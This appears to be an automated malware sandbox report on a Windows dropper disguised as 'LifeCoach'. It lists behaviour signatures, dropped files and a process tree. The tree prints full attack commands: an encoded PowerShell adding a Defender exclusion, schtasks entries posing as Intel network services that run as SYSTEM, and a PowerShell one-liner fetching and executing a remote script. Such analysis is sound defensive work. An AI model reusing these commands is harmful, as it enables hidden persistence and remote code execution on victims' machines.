Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/08/2026, 03:58

General

  • Target
    5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe
  • Size 13.5MB
  • Sample260812-ejj83aaj81
  • SHA256 5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://bytecove.cyou/checkout/res/a.php

Signatures

  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe
    "C:\Users\Admin\AppData\Local\Temp\5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\run.bat" "
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2564
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ep bypass -w h -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AHcAaQBuAGQAaQByAFwAUwB5AHMAdABlAG0AMwAyACIA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4500
      • C:\Windows\system32\schtasks.exe
        schtasks /delete /tn "Intel(R) Ethernet Connection 1219-LM" /f
        3⤵
          PID:1712
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn "Intel(R) Ethernet2 Connection 1219-LM" /f
          3⤵
            PID:4620
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "Intel(R) Ethernet3 Connection 1219-LM" /tr "schtasks /run /tn \"Intel(R) Ethernet3 Connection 1219-LM2\"" /ru "SYSTEM" /sc ONSTART /rl HIGHEST /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4456
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "Intel(R) Ethernet3 Connection 1219-LM2" /tr "cmd.exe /c powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\\\"https://bytecove.cyou/checkout/res/a.php\\\");^&([ScriptBlock]::Create($s))" /ru "SYSTEM" /sc MINUTE /mo 5 /rl HIGHEST /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2328
          • C:\Windows\system32\schtasks.exe
            schtasks /run /tn "Intel(R) Ethernet3 Connection 1219-LM"
            3⤵
              PID:2212
            • C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\LifeCoach.exe
              C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\\LifeCoach.exe
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5824
            • C:\Windows\system32\timeout.exe
              timeout /t 5
              3⤵
              • Delays execution with timeout.exe
              PID:4484
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM powershell.exe /FI "SESSION eq 0"
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2636
        • C:\Windows\system32\schtasks.EXE
          "C:\Windows\system32\schtasks.EXE" /run /tn "Intel(R) Ethernet3 Connection 1219-LM2"
          1⤵
            PID:3728
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\"https://bytecove.cyou/checkout/res/a.php\");^&([ScriptBlock]::Create($s))
            1⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5708
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\"https://bytecove.cyou/checkout/res/a.php\");&([ScriptBlock]::Create($s))
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5720
          • C:\Windows\system32\schtasks.exe
            schtasks
            1⤵
              PID:1888
            • C:\Windows\system32\cmd.exe
              cmd.exe
              1⤵
                PID:2520

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    LifeCoach.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\LifeCoach.exe
                    • Size 13.6MB
                    • SHA256 f1d04e93963f424af536bd6855ea5fd24ce6266aecbe32e5f53c46b1dc9769f6
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    run.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\run.bat
                    • Size 995B
                    • SHA256 6f79d8b73e8437eabeea42adbd057e2cf78faf210f174c195140be336b361838
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_2jp5fstp.oze.ps1

                    • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_2jp5fstp.oze.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    memory/4500-21-0x0000020FFD280000-0x0000020FFD29E000-memory.dmp

                    memory/4500-27-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-15-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-17-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-18-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-23-0x0000020FFD4F0000-0x0000020FFD5A2000-memory.dmp

                    memory/4500-22-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-24-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-25-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-14-0x0000020FFD210000-0x0000020FFD232000-memory.dmp

                    memory/4500-26-0x0000020FFD5B0000-0x0000020FFD5BA000-memory.dmp

                    memory/4500-16-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-28-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-29-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-30-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-32-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-13-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-33-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-40-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

                    memory/4500-10-0x00007FF8CFE3F000-0x00007FF8CFE40000-memory.dmp

                    memory/5824-37-0x0000000000400000-0x0000000005ACB000-memory.dmp